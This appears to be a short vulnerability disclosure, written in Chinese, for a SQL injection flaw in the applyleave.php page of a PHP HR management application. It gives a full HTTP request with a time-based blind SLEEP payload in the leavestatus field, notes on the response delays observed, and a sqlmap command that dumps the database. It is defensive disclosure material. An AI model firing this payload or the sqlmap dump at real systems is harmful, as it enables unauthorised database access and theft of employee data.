applyleave.php
SQL注入
攻击者可利用此漏洞获取数据库权限，从而导致数据库中大量数据泄露。如果对方数据库拥有DBA权限，则可能进一步获取服务器主机权限。
POST /hrm/user/applyleave.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 149
Origin: http://localhost
Connection: close
Referer: http://localhost/hrm/user/applyleave.php
Cookie: PHPSESSID=2v2v2al4dkd4iir9cl5j7oikvr
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-PwnFox-Color: cyan
leavestatus=5'+AND+(SELECT+1337+FROM+(SELECT(SLEEP(5)))VSgR)+AND+'Kha'%3d'123&reason=+++&startdate=03%2F04%2F2024&enddate=29%2F04%2F2024&Apply=Submit
运行此有效载荷后，数据返回时间延迟了5秒，表明我们可能成功执行了 "sleep(5)"。在这种情况下，延迟可能是几倍。我们将在下面验证：
运行此有效载荷后，数据返回时间延迟了20秒，表明我们可能成功执行了 "sleep(20)"。在这种情况下，延迟可能是几倍。我们将在下面验证：
sqlmap -r <item request> --dump
